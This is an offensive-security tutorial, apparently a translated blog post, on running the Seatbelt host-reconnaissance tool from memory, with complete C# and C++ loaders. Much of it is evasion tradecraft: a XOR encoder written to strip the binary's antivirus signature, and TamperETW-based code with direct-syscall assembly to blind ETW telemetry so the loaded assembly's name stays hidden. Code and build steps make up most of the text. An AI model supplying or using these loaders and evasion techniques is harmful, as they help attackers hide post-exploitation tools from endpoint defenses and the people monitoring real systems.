0x00 Preface

---

Seatbelt is a C# project that can be used for security checks on hosts, serving both offensive and defensive purposes.

With a single command, it can retrieve multiple configuration details of the current host, making it convenient and practical.

To expand the usage scenarios of Seatbelt without modifying any of its code, this article will introduce two methods for loading Seatbelt in memory (Assembly.Load and execute-assembly), completing the implementation code for passing parameters to the Main function of .NET assemblies.

Previous articles "Exploitation Analysis of Loading .NET Assemblies from Memory (Assembly.Load)" and "Exploitation Analysis of Loading .NET Assemblies from Memory (execute-assembly)"

only covered the implementation code for passing parameters to methods of specified classes.

0x01 Introduction

---

This article will cover the following topics:

  • Compilation and usage of Seatbelt
  • Method for loading Seatbelt using Assembly.Load and passing parameters
  • Method for loading Seatbelt using execute-assembly and passing parameters
  • Method for using assembly code in Visual Studio 2015 on 64-bit platforms

0x02 Compilation and Usage of Seatbelt

---

1. Compilation

Project Repository:

https://github.com/GhostPack/Seatbelt

Supports .NET 3.5 and 4.0

Requires Visual Studio 2017 or higher for compilation

2. Usage

Requires passing parameters to specify specific commands, for example, to run all checks and return all output:

Seatbelt.exe -group=all -full

Detailed commands can be referenced in the project documentation:

https://github.com/GhostPack/Seatbelt#command-line-usage

0x03 Method for Loading Seatbelt and Passing Parameters Using Assembly.Load

---

Implementation Language: C#

Implementation approach:

Encode Seatbelt.exe as base64 and store it in an array, then use Assembly.Load() for base64 decoding and loading, finally pass parameters to the Main function

Implementation code:

1. Encode Seatbelt.exe as base64 and return the result

C# implementation code:

using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main()
{

byte[] buffer = System.IO.File.ReadAllBytes("Seatbelt.exe");
string base64str = Convert.ToBase64String(buffer);
Console.WriteLine(base64str);
}
}
}

You can compile using Visual Studio or directly using csc.exe

Command to compile with csc.exe under .Net 3.5:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe base64.cs

Command to compile with csc.exe under .Net 4.0:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe base64.cs

After successful compilation, base64.exe is generated. Executing it produces the base64-encoded string of Seatbelt.exe

2. Use Assembly.Load() for base64 decoding and loading, then pass parameters to the Main function

C# implementation code:

using System;
using System.Reflection;
namespace TestApplication
{
public class Program
{
public static void Main(string[] args)
{

string base64str = "";

byte[] buffer = Convert.FromBase64String(base64str);
object[] commands = args;
Assembly assembly = Assembly.Load(buffer);
try
{
assembly.EntryPoint.Invoke(null, new object[] { commands });
}
catch
{
MethodInfo method = assembly.EntryPoint;
if (method != null)
{
object o = assembly.CreateInstance(method.Name);
method.Invoke(o, null);
}
}
}
}
}

Replace in the above code with the base64-encoded string of Seatbelt.exe

Similarly, the above code can be compiled using Visual Studio or directly with csc.exe

0x04 Method for loading Seatbelt and passing parameters using execute-assembly

---

Implementation language: C++

Implementation approach:

Save the content of Seatbelt.exe in an array, then use Load_3(...) to load the .NET assembly after reading, and finally pass parameters to the Main function

To remove the signature of Seatbelt.exe, each character in Seatbelt.exe can be XORed and then saved to the array

Here, HostingCLR is used as the code development template

The code of HostingCLR does not solve the parameter passing issue and cannot pass parameters to the Main function of the .NET assembly. Code location:

https://github.com/etormadiv/HostingCLR/blob/master/HostingCLR/HostingCLR.cpp#L218

My code solves the parameter passing issue and removes the signature of Seatbelt.exe by XORing each character in Seatbelt.exe and then saving it to the array

Implementation code:

1. XOR each character in the exe file and save it as a new file

C++ implementation code:

int main(int argc, char* argv[])
{
if (argc != 3)
{
printf("File_XOR_generator\n");
printf("Usage:\n");
printf("%s \n", argv[0]);
printf("Eg:\n");
printf("%s test.exe 0x01\n", argv[0]);

return 0;
}

int x;
sscanf_s(argv[2], "%x", &x);

FILE* fp;
int err = fopen_s(&fp, argv[1], "ab+");
if (err != 0)
{
printf("\n[!]Open file error");
return 0;
}
fseek(fp, 0, SEEK_END);
int len = ftell(fp);
unsigned char *buf = new unsigned char[len];
fseek(fp, 0, SEEK_SET);
fread(buf, len, 1, fp);
fclose(fp);
printf("[*] file name:%s\n", argv[1]);
printf("[*] file size:%d\n", len);

for (int i = 0; i < len; i++)
{
buf[i] = buf[i] ^ x;
}
char strNew[256] = {0};
snprintf(strNew, 256, "xor_%s", argv[1]);

FILE* fp2;
err = fopen_s(&fp2, strNew, "wb+");
if (err != 0)
{
printf("\n[!]createfile error!");
return 0;
}
fwrite(buf, len, 1, fp2);
fclose(fp2);
printf("[*] XOR file name:%s\n", strNew);
printf("[*] XOR file size:%d\n", len);
}

Here, each character in Seatbelt.exe is XORed with 0x01. The command line parameters are as follows:

File_XOR_generator.exe Seatbelt.exe 0x01

Generate the file xor_Seatbelt.exe

Open xor_Seatbelt.exe using HxD

Copy the file content into C code format, as shown in the figure below

Alt text

2. Use Load_3(...) to load the .NET assembly, and finally pass parameters to the Main function

The complete code has been uploaded to GitHub, address as follows:

An open-source project

When using, modify the following locations in the code:

  • Replace the content in the array rawData
  • Define the path for mscorlibPath
  • Define the version for runtimeVersion

The code will perform XOR operation character by character on the content in the array rawData with 0x01, restore the file content of Seatbelt.exe, then load it and pass parameters to the Main function

After compilation, generate the file HostingCLR_with_arguments_XOR.exe, test command example:

HostingCLR_with_arguments_XOR.exe -group=all

Use Process Explorer to view the .NET Assemblies item of the process HostingCLR_with_arguments_XOR.exe, as shown in the figure below

Alt text

Can obtain the name of the .NET assembly

If you want to hide the name of a .NET assembly, you need to bypass ETW detection.

3. Bypassing ETW detection

Refer to the code at https://github.com/outflanknl/TamperETW/

Introduce the code for bypassing ETW from there; the code has been uploaded to GitHub at the following address:

An open-source project

Here, you also need to add the asm file Syscalls.asm to implement calls to the assembly file.

Create a new item, select a C++ file, enter the file name Syscalls.asm, with the specific content as follows:

.code

; Reference: https://j00ru.vexillium.org/syscalls/nt/64/

; Windows 7 SP1 / Server 2008 R2 specific syscalls

ZwProtectVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 4Dh
syscall
ret
ZwProtectVirtualMemory7SP1 endp

ZwWriteVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 37h
syscall
ret
ZwWriteVirtualMemory7SP1 endp

ZwReadVirtualMemory7SP1 proc
mov r10, rcx
mov eax, 3Ch
syscall
ret
ZwReadVirtualMemory7SP1 endp

; Windows 8 / Server 2012 specific syscalls

ZwProtectVirtualMemory80 proc
mov r10, rcx
mov eax, 4Eh
syscall
ret
ZwProtectVirtualMemory80 endp

ZwWriteVirtualMemory80 proc
mov r10, rcx
mov eax, 38h
syscall
ret
ZwWriteVirtualMemory80 endp

ZwReadVirtualMemory80 proc
mov r10, rcx
mov eax, 3Dh
syscall
ret
ZwReadVirtualMemory80 endp

; Windows 8.1 / Server 2012 R2 specific syscalls

ZwProtectVirtualMemory81 proc
mov r10, rcx
mov eax, 4Fh
syscall
ret
ZwProtectVirtualMemory81 endp

ZwWriteVirtualMemory81 proc
mov r10, rcx
mov eax, 39h
syscall
ret
ZwWriteVirtualMemory81 endp

ZwReadVirtualMemory81 proc
mov r10, rcx
mov eax, 3Eh
syscall
ret
ZwReadVirtualMemory81 endp

; Windows 10 / Server 2016 specific syscalls

ZwProtectVirtualMemory10 proc
mov r10, rcx
mov eax, 50h
syscall
ret
ZwProtectVirtualMemory10 endp

ZwWriteVirtualMemory10 proc
mov r10, rcx
mov eax, 3Ah
syscall
ret
ZwWriteVirtualMemory10 endp

ZwReadVirtualMemory10 proc
mov r10, rcx
mov eax, 3Fh
syscall
ret
ZwReadVirtualMemory10 endp

end

Note:

The code for Syscalls.asm is from https://github.com/outflanknl/TamperETW/blob/master/TamperETW/UnmanagedCLR/Syscalls.asm

To use assembly code in Visual Studio 2015 on a 64-bit platform, the following settings are required:

(1) Right-click on the project -> Build Dependencies -> Build Customizations, check masm

As shown in the figure below

Alt text

(2) Right-click the file Syscalls.asm -> Properties, set the Item Type to Microsoft Macro Assembler

As shown in the figure below

Alt text

After compilation, the file HostingCLR_with_arguments_XOR_TamperETW.exe is generated

Test command example:

HostingCLR_with_arguments_XOR_TamperETW.exe -group=all

Use Process Explorer to view the .NET Assemblies entry of the process HostingCLR_with_arguments_XOR_TamperETW.exe, as shown in the figure below

Alt text

Successfully hides the names of .NET assemblies

0x05 Summary

---

This article introduces two methods for loading Seatbelt in memory (Assembly.Load and execute-assembly), respectively completing the implementation code for passing parameters to the Main function of a .NET assembly. It addresses the parameter passing issue in HostingCLR, introduces code for TamperETW to bypass ETW, and explains the method of using assembly code in Visual Studio 2015 on a 64-bit platform.